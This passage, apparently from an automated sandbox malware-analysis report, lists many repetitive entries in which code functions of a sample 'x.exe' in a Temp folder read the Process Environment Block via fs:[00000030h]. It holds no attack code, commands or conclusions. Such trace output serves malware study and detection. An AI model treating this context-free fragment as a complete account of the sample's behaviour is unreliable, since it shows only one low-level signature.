Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345214C9 mov eax, dword ptr fs:[00000030h]	3_2_345214C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345064F0 mov eax, dword ptr fs:[00000030h]	3_2_345064F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF4FD mov eax, dword ptr fs:[00000030h]	3_2_345BF4FD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345294FA mov eax, dword ptr fs:[00000030h]	3_2_345294FA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345354E0 mov eax, dword ptr fs:[00000030h]	3_2_345354E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453E4EF mov eax, dword ptr fs:[00000030h]	3_2_3453E4EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453E4EF mov eax, dword ptr fs:[00000030h]	3_2_3453E4EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453B490 mov eax, dword ptr fs:[00000030h]	3_2_3453B490
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453B490 mov eax, dword ptr fs:[00000030h]	3_2_3453B490
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458C490 mov eax, dword ptr fs:[00000030h]	3_2_3458C490
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34500485 mov ecx, dword ptr fs:[00000030h]	3_2_34500485
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453E4BC mov eax, dword ptr fs:[00000030h]	3_2_3453E4BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345024A2 mov eax, dword ptr fs:[00000030h]	3_2_345024A2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345024A2 mov ecx, dword ptr fs:[00000030h]	3_2_345024A2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458D4A0 mov ecx, dword ptr fs:[00000030h]	3_2_3458D4A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458D4A0 mov eax, dword ptr fs:[00000030h]	3_2_3458D4A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458D4A0 mov eax, dword ptr fs:[00000030h]	3_2_3458D4A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345344A8 mov eax, dword ptr fs:[00000030h]	3_2_345344A8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB55F mov eax, dword ptr fs:[00000030h]	3_2_345DB55F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB55F mov eax, dword ptr fs:[00000030h]	3_2_345DB55F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CA553 mov eax, dword ptr fs:[00000030h]	3_2_345CA553
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34536540 mov eax, dword ptr fs:[00000030h]	3_2_34536540
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451E547 mov eax, dword ptr fs:[00000030h]	3_2_3451E547
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450254C mov eax, dword ptr fs:[00000030h]	3_2_3450254C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451C560 mov eax, dword ptr fs:[00000030h]	3_2_3451C560
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov ecx, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov ecx, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AF51B mov eax, dword ptr fs:[00000030h]	3_2_345AF51B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458C51D mov eax, dword ptr fs:[00000030h]	3_2_3458C51D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34521514 mov eax, dword ptr fs:[00000030h]	3_2_34521514
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB502 mov eax, dword ptr fs:[00000030h]	3_2_344FB502
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34502500 mov eax, dword ptr fs:[00000030h]	3_2_34502500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E507 mov eax, dword ptr fs:[00000030h]	3_2_3452E507
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453C50D mov eax, dword ptr fs:[00000030h]	3_2_3453C50D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453C50D mov eax, dword ptr fs:[00000030h]	3_2_3453C50D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34503536 mov eax, dword ptr fs:[00000030h]	3_2_34503536
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34503536 mov eax, dword ptr fs:[00000030h]	3_2_34503536
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542539 mov eax, dword ptr fs:[00000030h]	3_2_34542539
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F753F mov eax, dword ptr fs:[00000030h]	3_2_344F753F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F753F mov eax, dword ptr fs:[00000030h]	3_2_344F753F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F753F mov eax, dword ptr fs:[00000030h]	3_2_344F753F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34531527 mov eax, dword ptr fs:[00000030h]	3_2_34531527
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451252B mov eax, dword ptr fs:[00000030h]	3_2_3451252B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345365D0 mov eax, dword ptr fs:[00000030h]	3_2_345365D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF5C7 mov eax, dword ptr fs:[00000030h]	3_2_344FF5C7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458C5FC mov eax, dword ptr fs:[00000030h]	3_2_3458C5FC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B5E0 mov eax, dword ptr fs:[00000030h]	3_2_3450B5E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345315EF mov eax, dword ptr fs:[00000030h]	3_2_345315EF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34532594 mov eax, dword ptr fs:[00000030h]	3_2_34532594
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF582 mov eax, dword ptr fs:[00000030h]	3_2_345BF582
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E588 mov eax, dword ptr fs:[00000030h]	3_2_3457E588
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E588 mov eax, dword ptr fs:[00000030h]	3_2_3457E588
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345045B0 mov eax, dword ptr fs:[00000030h]	3_2_345045B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345045B0 mov eax, dword ptr fs:[00000030h]	3_2_345045B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345885AA mov eax, dword ptr fs:[00000030h]	3_2_345885AA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD64A mov eax, dword ptr fs:[00000030h]	3_2_344FD64A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FD64A mov eax, dword ptr fs:[00000030h]	3_2_344FD64A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34535654 mov eax, dword ptr fs:[00000030h]	3_2_34535654
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450965A mov eax, dword ptr fs:[00000030h]	3_2_3450965A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450965A mov eax, dword ptr fs:[00000030h]	3_2_3450965A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453265C mov eax, dword ptr fs:[00000030h]	3_2_3453265C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453265C mov ecx, dword ptr fs:[00000030h]	3_2_3453265C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453265C mov eax, dword ptr fs:[00000030h]	3_2_3453265C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34503640 mov eax, dword ptr fs:[00000030h]	3_2_34503640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451F640 mov eax, dword ptr fs:[00000030h]	3_2_3451F640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451F640 mov eax, dword ptr fs:[00000030h]	3_2_3451F640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3451F640 mov eax, dword ptr fs:[00000030h]	3_2_3451F640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453C640 mov eax, dword ptr fs:[00000030h]	3_2_3453C640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453C640 mov eax, dword ptr fs:[00000030h]	3_2_3453C640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34500670 mov eax, dword ptr fs:[00000030h]	3_2_34500670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542670 mov eax, dword ptr fs:[00000030h]	3_2_34542670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34542670 mov eax, dword ptr fs:[00000030h]	3_2_34542670
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F7662 mov eax, dword ptr fs:[00000030h]	3_2_344F7662
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F7662 mov eax, dword ptr fs:[00000030h]	3_2_344F7662
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F7662 mov eax, dword ptr fs:[00000030h]	3_2_344F7662
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34513660 mov eax, dword ptr fs:[00000030h]	3_2_34513660
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34513660 mov eax, dword ptr fs:[00000030h]	3_2_34513660
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34513660 mov eax, dword ptr fs:[00000030h]	3_2_34513660
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453666D mov esi, dword ptr fs:[00000030h]	3_2_3453666D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453666D mov eax, dword ptr fs:[00000030h]	3_2_3453666D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453666D mov eax, dword ptr fs:[00000030h]	3_2_3453666D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34593608 mov eax, dword ptr fs:[00000030h]	3_2_34593608
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452D600 mov eax, dword ptr fs:[00000030h]	3_2_3452D600
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452D600 mov eax, dword ptr fs:[00000030h]	3_2_3452D600
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF607 mov eax, dword ptr fs:[00000030h]	3_2_345BF607
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453360F mov eax, dword ptr fs:[00000030h]	3_2_3453360F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345D4600 mov eax, dword ptr fs:[00000030h]	3_2_345D4600
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34500630 mov eax, dword ptr fs:[00000030h]	3_2_34500630
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34530630 mov eax, dword ptr fs:[00000030h]	3_2_34530630
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34505622 mov eax, dword ptr fs:[00000030h]	3_2_34505622
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34505622 mov eax, dword ptr fs:[00000030h]	3_2_34505622
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34507623 mov eax, dword ptr fs:[00000030h]	3_2_34507623
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AD62C mov ecx, dword ptr fs:[00000030h]	3_2_345AD62C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AD62C mov ecx, dword ptr fs:[00000030h]	3_2_345AD62C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AD62C mov eax, dword ptr fs:[00000030h]	3_2_345AD62C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452D6D0 mov eax, dword ptr fs:[00000030h]	3_2_3452D6D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CA6C0 mov eax, dword ptr fs:[00000030h]	3_2_345CA6C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345006CF mov eax, dword ptr fs:[00000030h]	3_2_345006CF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457C6F2 mov eax, dword ptr fs:[00000030h]	3_2_3457C6F2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457C6F2 mov eax, dword ptr fs:[00000030h]	3_2_3457C6F2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F96E0 mov eax, dword ptr fs:[00000030h]	3_2_344F96E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F96E0 mov eax, dword ptr fs:[00000030h]	3_2_344F96E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450C6E0 mov eax, dword ptr fs:[00000030h]	3_2_3450C6E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345056E0 mov eax, dword ptr fs:[00000030h]	3_2_345056E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345056E0 mov eax, dword ptr fs:[00000030h]	3_2_345056E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345056E0 mov eax, dword ptr fs:[00000030h]	3_2_345056E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345266E0 mov eax, dword ptr fs:[00000030h]	3_2_345266E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345266E0 mov eax, dword ptr fs:[00000030h]	3_2_345266E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34508690 mov eax, dword ptr fs:[00000030h]	3_2_34508690
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458C691 mov eax, dword ptr fs:[00000030h]	3_2_3458C691
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510680 mov eax, dword ptr fs:[00000030h]	3_2_34510680
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF68C mov eax, dword ptr fs:[00000030h]	3_2_345BF68C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C86A8 mov eax, dword ptr fs:[00000030h]	3_2_345C86A8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C86A8 mov eax, dword ptr fs:[00000030h]	3_2_345C86A8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov eax, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov eax, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov eax, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov ecx, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov eax, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34522755 mov eax, dword ptr fs:[00000030h]	3_2_34522755
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345AE750 mov eax, dword ptr fs:[00000030h]	3_2_345AE750
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34533740 mov eax, dword ptr fs:[00000030h]	3_2_34533740
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FF75B mov eax, dword ptr fs:[00000030h]	3_2_344FF75B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3453174A mov eax, dword ptr fs:[00000030h]	3_2_3453174A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34530774 mov eax, dword ptr fs:[00000030h]	3_2_34530774
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34504779 mov eax, dword ptr fs:[00000030h]	3_2_34504779
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34504779 mov eax, dword ptr fs:[00000030h]	3_2_34504779
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34512760 mov ecx, dword ptr fs:[00000030h]	3_2_34512760
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34541763 mov eax, dword ptr fs:[00000030h]	3_2_34541763
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB705 mov eax, dword ptr fs:[00000030h]	3_2_344FB705
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB705 mov eax, dword ptr fs:[00000030h]	3_2_344FB705
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB705 mov eax, dword ptr fs:[00000030h]	3_2_344FB705
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB705 mov eax, dword ptr fs:[00000030h]	3_2_344FB705
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450471B mov eax, dword ptr fs:[00000030h]	3_2_3450471B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450471B mov eax, dword ptr fs:[00000030h]	3_2_3450471B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF717 mov eax, dword ptr fs:[00000030h]	3_2_345BF717
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D700 mov ecx, dword ptr fs:[00000030h]	3_2_3450D700
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C970B mov eax, dword ptr fs:[00000030h]	3_2_345C970B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C970B mov eax, dword ptr fs:[00000030h]	3_2_345C970B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452270D mov eax, dword ptr fs:[00000030h]	3_2_3452270D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452270D mov eax, dword ptr fs:[00000030h]	3_2_3452270D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452270D mov eax, dword ptr fs:[00000030h]	3_2_3452270D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34529723 mov eax, dword ptr fs:[00000030h]	3_2_34529723
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF7CF mov eax, dword ptr fs:[00000030h]	3_2_345BF7CF
